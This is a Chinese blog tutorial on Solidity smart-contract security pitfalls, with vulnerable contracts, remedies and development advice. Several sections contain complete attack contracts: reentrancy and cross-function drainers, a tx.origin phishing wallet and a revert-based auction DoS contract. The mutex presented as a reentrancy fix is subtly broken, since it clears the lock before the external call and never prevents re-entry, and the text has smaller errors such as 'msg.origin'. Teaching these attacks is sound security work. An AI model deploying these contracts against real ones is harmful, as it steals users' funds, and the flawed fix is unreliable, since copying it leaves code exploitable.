Solidity作为一种图灵完备的高级语言,可以支持逻辑比较复杂的智能合约的编写。一般情况下,Solidity开发者可以根据自己的意愿和预期开发一个智能合约项目。同时也不能保证,没有黑客攻击的存在。因此呢,确保安全性在Solidity开发中极为重要。

今天我们要介绍的常见智能合约安全陷阱包括如下:

  • 函数可重入
  • 跨函数资源共享
  • 整数溢出漏洞
  • gas限制和循环
  • tx.orign和msg.sender引发安全漏洞
  • 依赖时间戳漏洞
  • 利用revert发送dos攻击
  • 短地址攻击

智能合约安全陷阱举例

漏洞1:函数可重入

**可重入性:**函数被调用,没有执行完成,又一次被调用

示例:

pragma solidity ^0.5.0;contract Game{//记录各个玩家余额mapping(address => uint256) private balance;constructor()payable public{}//玩家下注函数,向游戏合约充值function deposit()public payable{balance[msg.sender] += msg.value;}//玩家提款函数function withdraw()public{bool ret;bytes  memory data;uint256 amount = balance[msg.sender];(ret, data) = msg.sender.call.value(amount)("");if (ret){balance[msg.sender] = 0;}}//获取合约总余额函数function gameBalance() public view returns(uint256){return address(this).balance;}
}contract GamePlayer{//记录游戏合约地址address payable target;constructor()payable public{}//攻击函数,外部账户调用这个合约对游戏合约进行攻击function attack(address payable addr) public{target = addr;Game g = Game(target);//先向合约充值1个以太币g.deposit.value(1000000000000000000)();//然后替换g.withdraw();}//fallback函数中进行重入提款function()payable external{Game g = Game(target);g.withdraw();}//查看玩家合约余额function palyerBalance() public view returns(uint256){return address(this).balance;}
}

从Game游戏合约中我们可以看出,它的withdraw函数有下面几方面的安全隐患:

-1. 使用了底层的call函数进行转账,同时没有指定gas消耗
-2. 提款操作时,没有将用户的余额状态变量清空,就向用户转账

由于游戏合约的withdraw函数,使用了call函数向玩家进行转账。call函数默认是将剩余的gas全部传入, 也就是说call函数默认允许使用全部剩余的gas。这样的话,如果call函数引发了重入的话,会执行很多代码,无法及时终止。另外withdraw函数是在call调用之后再将用户的余额的状态变量清空,如果call函数引发了重入再次调用withdraw函数,代码会判断用户余额状态,发现还能进行转账。

解决方法:

  • 对于第1点安全隐患的解决方案是使用send或者transfer函数进行转账,transfer函数只传入2300个gas,即便发生重入,也无法调用修改状态变量等操作,因为一个修改状态变量的操作所消耗的gas至少是5000。这样可以保证本次转账重入是安全的。
  • 对于第2点安全隐患的解决方案是使用CEI模式,全称是Checks-Effects-Interactions,先检查,再生效,最后交互,对于这个例子,游戏合约的withdraw函数应该先检查用户的状态变量是否是大于0,如果等于0就不用转账,如果是大于0的,将用户的状态余额先清空,最后进行进行转账。
  • 使用互斥锁对balance资源进行保护,如下:
pragma solidity ^0.5.0;
contract Game{mapping(address => uint256) private balance;bool balanceLock = false;constructor()payable public{}function deposit()public payable{balance[msg.sender] += msg.value;}function withdraw()public{require(!balanceLock);balanceLock = false;bool ret;bytes  memory data;uint256 amount = balance[msg.sender];(ret, data) = msg.sender.call.value(amount)("");if (ret){balance[msg.sender] = 0;}balanceLock = true;}function gameBalance() public view returns(uint256){return address(this).balance;}
}

互斥锁有时候也会有副作用,所以使用互斥锁的时候要特别注意不能产生死锁

漏洞2:跨函数资源共享

跨函数资源共享的意思是两个函数使用到了相同的状态变量,攻击者可以在调用一个函数后引发自身的fallback函数,在fallback函数中调用另外一个函数进行攻击

示例:

pragma solidity ^0.5.0;contract Game{//记录各个玩家余额mapping(address => uint256) private balance;constructor()payable public{}//玩家下注函数,向游戏合约充值function deposit()public payable{balance[msg.sender] += msg.value;}//玩家向其他玩家转移游戏合约中的资产function playerTransfer(address to, uint amount) public{require(balance[msg.sender] >= amount);balance[to] += amount;balance[msg.sender] -= amount;}//玩家提款函数function withdraw()public{bool ret;bytes  memory data;uint256 amount = balance[msg.sender];(ret, data) = msg.sender.call.value(amount)("");if (ret){balance[msg.sender] = 0;}}//查询游戏合约中玩家的资产function playerBalance(address player) public view returns(uint256){return balance[player];}
}contract GamePlayer{//记录游戏合约地址address payable target;//记录攻击者外部账户地址address payable attacker;constructor()payable public{}//攻击函数,外部账户调用这个合约对游戏合约进行攻击function attack(address payable addr) public{//记录被攻击者合约地址和攻击者外部账户地址target = addr;attacker = msg.sender;Game g = Game(target);//攻击合约做为玩家向游戏中充值一个1以太币g.deposit.value(1000000000000000000)();//提款g.withdraw();}//fallback函数function()payable external{Game g = Game(target);//将游戏合约中的1个以太币转移给攻击者外部账户g.playerTransfer(attacker, 1000000000000000000);}
}

这个例子和上一个重入攻击的例子相似,只不过这个例子攻击合约的fallback函数没有重入withdraw函数,而是调用了被攻击合约的playerTransfer函数。由于withdraw函数中call转账操作时,没有将用户的余额状态变量清空,就向用户转账, 那么fallback函数中调用playTransfer时, 用户的余额状态还是存在,playTransfer函数又将余额转给了攻击者在合约中的状态变量。这样的话,攻击者可以再次提一个以太币。

解决方案:
解决方案漏洞1相同

漏洞3:整数溢出漏洞

整数溢出漏洞包括上溢和下溢, 上溢是指已经到达类型能表示的最大值后,再增加的话就会溢出,从一个很大的值变为0, 下溢是指已经是类型能表示的最小值,继续减小的话,就会变成一个很大的值。
以太坊虚拟机(EVM)为整数指定固定大小的数据类型,就是说一个整型变量只能有一定范围的数字表示。例如,一个 uint8 ,只能存储在范围 [0,255] 的数字。试图存储 256 到一个 uint8 将变成 0。不加注意的话,只要没有检查用户输入又执行计算,导致数字超出存储它们的数据类型允许的范围。
**解决办法:**使用SafeMath库

/*** @title SafeMath* @dev Math operations with safety checks that throw on error*/library SafeMath {function mul(uint256 a, uint256 b) internal constant returns (uint256) {uint256 c = a * b;assert(a == 0 || c / a == b);return c;}function div(uint256 a, uint256 b) internal constant returns (uint256) {// assert(b > 0); // Solidity automatically throws when dividing by 0uint256 c = a / b;// assert(a == b * c + a % b); // There is no case in which this     doesn't holdreturn c;}function sub(uint256 a, uint256 b) internal constant returns (uint256) {assert(b <= a);return a - b;}function add(uint256 a, uint256 b) internal constant returns (uint256) {uint256 c = a + b;assert(c >= a);return c;}}

SafeMath库的使用方法:

contract OperationContract {using SafeMath for uint256;    uint256 result;function SafeAdd(uint256 a, uint256 b) {result = 0;result = a.add(b);}
}

安全漏洞示例:
下面的一段是BEC代币合约代码,可以从etherscan.io上找到完整源代码:
https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code 。

function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {uint cnt = _receivers.length;uint256 amount = uint256(cnt) * _value;require(cnt > 0 && cnt <= 20);require(_value > 0 && balances[msg.sender] >= amount);balances[msg.sender] = balances[msg.sender].sub(amount);for (uint i = 0; i < cnt; i++) {balances[_receivers[i]] = balances[_receivers[i]].add(_value);Transfer(msg.sender, _receivers[i], _value);}return true;}

batchTransfer函数的作用是批量转账,第3行代码是计算总的转账额,然后第5行检查交易发起方账户中是否足够支付这些转账额。大家可以看到第3行这个地方并没有使用SafeMath库去检查是否可能会发生溢出。调用者可以控制参数_receivers和 _value,使之相乘的结果产生上溢,变成很小的值,直接绕过第5行的检查。之后呢,第7行只需从发起方账户中减去很少量的资产,第8行后面却给 _receivers中所有账户增加了大量的资产, 相当于代币无缘无故的增发了。

漏洞4:gas限制和循环

在以太坊智能合约中,每一步操作都是要求用户以gas的形式支付相应的代价。对于非固定次数的循环,要特别小心。比如循环次数依赖一个存储的变量等。如果在循环的执行的过程中gas消耗完,那么整个执行都会被回滚掉。
假设漏洞合约是一个批量退款的函数, 使用一个循环来批量转账:

pragma solidity ^0.5.0;contract Game{address payable[] private  refundAddresses;mapping (address => uint256) userBalance;function refund()public payable{for (uint i = 0; i < refundAddresses.length; i++){address payable refundAddress = refundAddresses[i];refundAddress.transfer(userBalance[refundAddress]);}}
}

由于refundAddresses动态数组的长度不确定,调用退款函数是, 中途由于交易的gas消耗完,会导致所有人的退款无法进行。

解决方案:

对于这种循环退款的场景,建议使用预授权付款方式进行,让每个收款方自己来进行退款。

漏洞5:tx.orign和msg.sender引发安全漏洞

Solidity提供两种方法获取调用者身份:tx.origin和msg.sender。不过这两者是有明显的区别的。tx.origin是用来获取发起Transaction的外部账户地址,而msg.sender是获取上一级调用者的地址。举个例子,有一个智能合约A调用了智能合约B,有一个用户P给智能合约A发Transaction,通过A调用了B。那么,对于智能合约A来说,msg.sender和msg.origin都是P的地址,而对于智能合约B来说,msg.sender是A的地址,tx.orgin是P的地址。
按照Solidity官方建议,不推荐使用tx.orgin进行权限控制,让我们来看这样一个钱包合约的例子:

pragma solidity ^0.5.0;contract TxUserWallet{address owner;constructor()public{owner = msg.sender;}function transferTo(address payable to, uint amount)public{require(tx.origin == owner);to.transfer(amount);}
}

TxUserWallet的transferTo()函数通过tx.origin来判断是否能和对方转钱,这样的操作也是有安全隐患的,攻击者可以定义这样一个智能合约:

pragma solidity ^0.5.0;interface TxUserWallet{function transferTo(address to, uint amount) external payable;
}contract TxAttackWallet{address hacker;constructor() public{hacker = msg.sender;}function() external payable{TxUserWallet(msg.sender).transferTo(hacker, msg.sender.balance);}
}

在TxAttackWallet中定义了一个匿名函数,在这个函数中会调用TxUserWallet的transferTo函数。假设攻击者线下欺骗TxUserWallet合约的owner,让他给TxAttackWallet这个智能合约地址转钱,这样会触发TxAttackWallet的匿名函数会调用钱包合约的transferTo函数,在transferTo函数中判断tx.orinin确实是TxUserWallet合约的owner,虽然owner没有直接调用transferTo函数,但是owner在TxUserWallent中的钱都被转到了hacker账户上。

如果TxUserWallet的transferTo方法判断的是msg.sender的身份而非tx.origin,那么通过刚才那种方法,TxAttackWallet的匿名函数调用transferTo函数时候,transferTo只会得到TxAttackWallet的地址,而不是owner的地址。因此在类似TxUserWallet这样的合约中,应该通过msg.sender进行权限控制,而非msg.origin。

不过msg.sender和tx.origin的使用应该结合具体场景,大家应该在充分理解两者的区别的基础上考虑合约的安全性。

漏洞6:依赖时间戳漏洞

智能合约的执行依赖当前区块的时间戳,随着时间戳的不同,合约的执行结果也有差别。

如果有一个抽奖合约,要求由当前的时间戳和其它可提前获知的变量计算出一个“幸运数”,与“幸运数”相同的编码的参与者将获得奖品。那么矿工在挖矿过程中可以提前尝试不同的时间戳来计算好这个“幸运数”,从而将奖品送给自己想给的获奖者。

这个问题其实涉及到另一个问题,就是智能合约的随机数,获奖者应该通过随机的方式产生,而通过区块时间来确定获奖者是不合理的。获得随机数的做法是采用 链外off-chain 的第三方服务,比如 Oraclize 来获取随机数。

漏洞7:短地址攻击

在了解短地址攻击之前,首先要熟悉一下智能合约函数调用传参的原理。EVM虚拟机在解析合约的字节码时,依赖的是ABI的定义,从而去识别各个字段位于字节码的什么地方。

一般ERC-20 TOKEN标准的代币都会实现transfer方法,这个方法在ERC-20中的定义为:

function transfer(address to, uint tokens) public returns (bool success);

第一参数是发送代币的目的地址,第二个参数是发送token的数量。

当我们调用transfer函数向某个地址发送N个ERC-20代币的时候,交易的input数据分为3个部分:

  • 4 字节,是方法名的哈希:a9059cbb
  • 32字节,放以太坊地址,目前以太坊地址是20个字节,高危补0
    0000000000000000000000001122334455112233445511223344551122334455
  • 32字节,是需要传输的代币数量,这里是100000,
    0000000000000000000000000000000000000000000000000000000000100000
    所有这些加在一起就是交易数据:
    a9059cbb00000000000000000000000011223344551122334455112233445511223344550000000000000000000000000000000000000000000000000000000000100000,这个数据就是我们通过交易去调用智能合约函数时,input字段的内容,以太坊evm会根据这个协议去解析,从而获知要调那个函数,以及要传入的参数

漏洞合约示例:

pragma solidity ^0.5.0;contract SimpleToken{mapping(address => uint) balance;event Transfer(address, address, uint);function transfer(address  addr, uint mount)public returns(bool){if (balance[addr] < mount){return false;}balance[msg.sender] -= mount;balance[addr] += mount;emit Transfer(msg.sender, addr, mount);}function balanceOf(address who) view public returns(uint value){return balance[who];}
}

这里调用transfer方法时,传入的参数如下:
a9059cbb00000000000000000000000011223344551122334455112233445511223344550000000000000000000000000000000000000000000000000000000000000001
这里的a9059cbb是method的hash值,第二个是地址,第三个是amount参数.

如果我们调用transfer方法的时候,传入地址1122334455112233445511223344551122334455,把这个地址的“55”丢掉,即扔掉末尾的一个字节,参数就变成了:a9059cbb000000000000000000000000112233445511223344551122334455112233440000000000000000000000000000000000000000000000000000000000000001。
缺了一个字节,这里EVM把amount的高位的一个字节的0填充到了address部分,这样使得amount向左移位了1个字节,即向左移位8。这样,amount就成了1 << 8 = 256。

这个漏洞在2017年爆出后,各大交易所基本都在客户端增加了地址长度检查。
解决方法:
目前主要依靠客户端主动检查地址长度来避免该问题,另外web3层面也增加了参数格式校验。虽然EVM层仍然可以复现,但是在实际应用场景中到目前为止没有因为这个问题被攻击的案例。

漏洞8:利用revert发动dos攻击

2016年2月6日至8日一款叫KotET的游戏遭受到了DOS攻击,下面用一个简单的合约还原KotET的竞拍机制,进行模拟分析:

pragma solidity ^0.5.0;contract AuctionGame {address payable currentLeader;uint highestBid;function bid() public payable {if (msg.value <= highestBid) { revert(); }if (!currentLeader.send(highestBid)) { revert(); } // Refund the old leader, and throw if it failscurrentLeader = msg.sender;highestBid = msg.value;}
}

以上案列合约是一个简化版的KotET的竞拍争夺王位的合约,如果当前交易的携带的ether大于目前highestBid,那么highestBid所对应的ether就退回给currentLeader,然后设置当前竞拍者为currentLeader,highestBid改为msg.value。

但是当恶意攻击者部署如下图所示合约,并通过合约来竞拍将会出现问题:

ragma solidity ^0.5.0;interface Auction{function bid()payable external;
}
contract AuctionAttack{address owner;Auction instance;constructor()public{owner = msg.sender;}modifier onlyOwner(){require(owner == msg.sender);_;}function setInstance(address addr) onlyOwner public{instance = Auction(addr);}function attack() payable public{instance.bid.value(msg.value)();}function ()external{revert();}
}

攻击者通过攻击合约attack函数向游戏合约转账成为currentLeader,然后新的玩家参与竞标,出价比攻击者高,即将成为新的currentLeader,于是执行到require(currentLeader.send(highestBid))会因为攻击合约的fallback()函数中的revert()导致无法接收ether而一直为false,也就是后面的玩家都没有办法进行竞标,最后攻击合约以较低的ether赢得竞标。

解决方案:
对于这种对外部函数调用的结果进行处理才能进入新的状态,应该要考虑外部调用可能一直失败的情况,可以使用超时机制,防止外部函数调用一直无法满足require判断,对于这个场景可以使用超过一定的时间无法转账,自动取消之前的竞标,由新的出价高的竞标者称为currentLeader。原来竞标者的退款可以采用预授权付款的方式,让之前的竞标者主动来提款。

智能合约开发规范和建议

前面我们分析了一些常见的安全陷阱,接着呢,我们针对这些安全性问题,给出一些智能合约的开发规范和建议,包括如下:

  • 使用CEI模式
  • ERC标准接口的transfer/transferFrom执行失败应抛出异常
  • 目标地址非0检查
  • 充分的容错机制
  • 延迟合约动作
  • 使用以太坊最新的安全规范
  • 对编译器版本的说明
  • 不应使用弃用项
  • 正确使用assert、require、revert、throw
  • 建议使用SafeMath库
  • 保持代码轻巧且模块化
  • 充分测试

使用CEI模式

CEI模式的全称是Checks-Effects-Interactions(检查-生效-交互),在智能合约中如果涉及调用其他智能合约,那么应该严格按照这三步来编写自己的逻辑。
**check:**在执行之前,首先进行权限及安全性检查。检查的内容可能包含:判断函数调用者的身份,判断是否有相关操作的权限,调用者的参数是否符合要求,调用者function的Transaction是否附上了指定的以太币数量等。
**Effects:**当必要检查都通过之后,再对当前合同中的状态变量进行更改。
**Interactions:**在状态变量的更改生效后,在进行和其他合约交互。

很多开发者没有按照这个顺序进行操作,前面提到的函数重入安全问题就是因为如此。

ERC标准接口的transfer/transferFrom执行失败应抛出异常

某些交易所确认机制不完善以及相关合约代码未能严格遵循标准而引发假充值攻击。以ERC-20 Token为例,某些交易所可能仅依赖交易状态和链上确认次数对交易结果作判断,忽略了对Token balance的检查。有的情况下transfer/transferFrom返回的是false,但是交易的状态是success,有问题的交易所在确认转账状态时,就会承认该笔转账,导致虚假转账问题的产生。

有的合约代码也存在一定问题,按照ERC-20的标准,transfer、transferFrom函数在Token账户转账额度不足的条件下应该抛出异常,但是问题合约没有,这样的话,调用者比如钱包交易所无法确认转账是否真实成功。

目标地址非零检查

在transfer、transferFrom等转账函数中,用户操作是不可逆的,建议开发者在这些函数实现中增加目标地址非零检查,如果将资产转到0地址,将永久无法取出。

充分的充错机制

在智能合约出现异常的情况下,能尽可能保障合约中的数据安全。首先,开发者需要在智能合约中添加一个自检查函数,在这个函数中对合约的状态进行检查,比如合约账户资产是否出现泄漏,智能合约中存储的代币总量和以太币余额是否一致等等。对智能合约的自检查,有助于及时发现安全隐患。一旦自检查函数中出现异常,要能够交易相关的函数禁用,只允许指定合约的创始人或者一个信任的第三方进行控制。

另外建议主合约继承Pausable Ownable ERC20标准模块,当出现重大异常时可以暂停所有交易。

延迟合约动作或速度限制

延迟合约动作,如果发生了恶意操作便有时间恢复。例如,The DAO 从发起分割DAO请求到真正执行动作需要27天。这样保证了资金在此期间被锁定在合约里,增加了系统的可恢复性。

另外速率限制暂停或需要批准进行状态更改。 例如,只允许存款人在一段时间内提取总存款的一定数量或百分比(例如,1天内最多100个ether) 该时间段内的额外提款可能会失败。

使用以太坊最新的安全规范

Solidity0.4.22以及以上的编译器版本,构造函数建议声明方式:constructor() public {}Solidity 0.4.21以及以上的编译器版本,触发事件建议采用:emit Transfer()

对编译器版本的说明

建议固定编译器版本,然后使用对应编译器版本编译发布合约。固定编译器版本有助于确保合约不会被用于最新的可能还有bug未被发现的编译器去部署。智能合约也可能会由他人部署,而pragma标明了合约作者希望使用哪个版本的编译器来部署合约。

不应使用弃用项

Solidity处于不断的更新迭代中,在此过程存在部分表达式弃用,开发者不应在弃用之后的版本使用它们。

正确使用assert、require、revert、throw

  • assert使用场景:
  1. 溢出检查:c=a+b;assert(c>=a);
  2. 检查常数:assert(this.balance >= totalBalance)
  3. 执行操作后验证状态
  4. 避免绝对不应该出现的状况
  5. assert不应经常使用(触发异常会消耗所有gas)
  6. assert一般位于函数结尾处
  • require使用场景
  1. 验证用户输入:require(_to != address(0));
  2. 验证外部合约返回值:require(external.send(amount)) ;
  3. 验证执行代码的前提条件:require(allowed[_from][msg.sender] >= _value);
  4. require应该经常使用
  5. require一般位于函数的开头处
  • revert
    和require类似
  • throw
    已经弃用

建议使用SafeMath库

SafeMath库会帮助开发人员检查是否溢出的情况

保持代码轻巧且模块化

这一点建议其实适用于几乎所有的软件开发。智能合约本身就是一段代码。为了保证这段代码的安全性,清晰的代码结构,易于理解的代码逻辑是很有必要的。尽可能不要在一个函数中写太复杂的逻辑,可以将工具性的逻辑抽离出来,将一个复杂的函数拆成多个函数。Solidity提供Library这个特性,开发者也可以把一些工具性的逻辑封装成library,以此实施模块化设计。另外,和其他软件开发类似,开发者最好有一份清晰详细的文档来介绍合约的内容,以及各个函数的功能和逻辑。一份详细的文档有助于尽早发现代码中可能存在的问题,而且如果开发者想要公开自己的智能合约,让大家去调用,那么就需要让大家都能够理解这份智能合约。

充分测试

以太坊主网络上正式发布智能合约前,一定要做好充分的测试,任何漏洞都有可能导致巨大的损失。建议先在测试网下充分测试自己的合约。同时也可以使用安全性检查工具,来辅助开发者发现漏洞。有条件的可以将合约交给第三方专业的代码审查机构去做安全审查。

智能合约安全陷阱和开发建议相关推荐

  1. 手把手教你搭建智能合约测试环境、开发、编译、部署以及如何通过JS调用合约方法

    链客,专为开发者而生,有问必答! 此文章来自链客区块链技术问答社区,未经允许拒绝转载. 学习目标 了解智能合约 简单环境搭建 能够利用solidity编写Hello World合约 合约部署 和合约互 ...

  2. 【以太坊智能合约】Embark Framework 开发基础篇

    在之前的文章中,我们看到了使用Solidity开发以太坊智能合约的所有基本知识.我们使用了以太坊钱包,我们能够轻松设置小型产品开发环境.我们会发现开始的时候很不错,但是如果我们想要更深入的话呢?我们要 ...

  3. Nebulas 101 - 03 编写并运行智能合约 ---》星云链开发

    Nebulas 3200 万奖金的 DApp 开发激励计划 注册地址:https://incentive.nebulas.io/cn/signup.html?invite=58jke 时间: 2018 ...

  4. 以太坊智能合约ganache+truffle集成开发实验

    安装前的npm.node环境准备 更新apt可用软件包列表: sudo apt update 利用apt安装npm: sudo apt install npm -- 查看npm版本: npm --ve ...

  5. 用Visual Studio开发以太坊智能合约

    2019独角兽企业重金招聘Python工程师标准>>> 区块链和以太坊 自从我熟悉区块链.以太坊和智能合约以来,一直失眠. 我一直在阅读,阅读和阅读,最后我能够使用一些工具,他们建议 ...

  6. Python开发以太坊智能合约指南(web3.py)

    在以太坊上获得一个基本的智能合约是一个很简单的事,只需google查询"ERC20代币教程",你会发现有关如何做到这一点的大量信息.以编程方式与合约交互完全是另一回事,如果你是一个 ...

  7. java 以太坊 智能合约_web3j教程:java使用web3j开发以太坊智能合约交易

    从广义上讲,有web3j支持三种类型的以太坊交易: 1.以太币从一方交易到另一方 2.创建一个智能合约 3.与智能合约交易 为了进行这些交易,必须有以太币(以太坊区块链的代币)存在于交易发生的以太坊账 ...

  8. Foundry教程:ERC-20代币智能合约从编写到部署全流程开发

    概述 如果你想获得更好的阅读体验,请前往我的博客 本博客的内容主要分为以下四部分: 一是Foundry的介绍与安装,主要介绍为什么选择Foundry进行智能合约开发和安装过程中的各种官方文档中未提及的 ...

  9. vscode 智能打印_使用 Hyperledger Caliper 对 VS Code 中开发的智能合约进行性能测试...

    IBM Blockchain Platform Extension for VS Code 可帮助开发者创建.测试和调试智能合约.但对于开发人员来说,还有一个关键问题:开发的智能合约的性能如何? Hy ...

  10. 以太坊Python智能合约开发指南

    在以太坊上获得一个基本的智能合约是一个很简单的事,只需google查询"ERC20代币教程",你会发现有关如何做到这一点的大量信息.以编程方式与合约交互完全是另一回事,如果你是一个 ...

最新文章

  1. 线段树 ---- 2021牛客多校第一场 J Journey among Railway Stations [线段树维护区间可行性判断]
  2. android WebView详解,常见漏洞详解和安全源码(下)
  3. wordpress 主机伪静态404.php seo,wordpress开启伪静态之后,出现404是什么原因?
  4. Python (五) 高级特性
  5. [PAT乙级]1006 换个格式输出整数
  6. Ubuntu18.04.4 环境下对属性加密算法CP-ABE环境搭建
  7. KnowledgeGraph Slides项目(CCKS系列报告2013-2018)
  8. big sur darwin6.iso下载_苹果macOS Big Sur 11.0 正式版系统适配机型 附升级教程和系统镜像下载...
  9. 记个SwitchButton笔记
  10. 我的世界物品java修改代码大全,我的世界秘籍_物品代码秘籍中文大全_蚕豆网攻略...
  11. java编写一个彩票开奖的模拟程序.游戏共有两种玩法,一种是21选5,即玩家输入5个1到21内的不重复的数。另外一种玩法是6+1玩法,即要求玩家输入7个整数,代表所购买的彩票号码,最后一个是特码。
  12. java编程需要数学知识吗_编程需要很好的数学吗?
  13. python显示当前日期_python显示当前时间
  14. 中小型网络工程设计与实现_小型网络如何实现经济可靠的设计和部署 (一)...
  15. PPT使用技巧——绘制圆角曲线
  16. 嵌入式linux局域网聊天软件
  17. js:常用的3种弹出提示框(alert、confirm、prompt)
  18. 每个客户看待期货开户公司的角度不一样
  19. 学云计算比较好的几个论坛
  20. java war文件_java – 使用参数部署* .war文件

热门文章

  1. python 地震数据可视化
  2. 看图写英语作文关于计算机,终于懂了看图写英语作文模板
  3. 根号智能计算机在线,科学计算器在线的多次根号怎么用?
  4. 小米note2鸿蒙ROM,【ROM】小米note优化开发版MIUI9
  5. 记录:The field files exceeds its maximum permitted size of 1048576 bytes...解决方案【亲测有效】
  6. 黑马程序员-java学习第一天
  7. chm文件打开文字排版错乱
  8. IP的正则表达式 IP地址的正则表达式写法
  9. 高电压技术-名词解释题
  10. Unity开发教程 打造战棋手游《天地劫》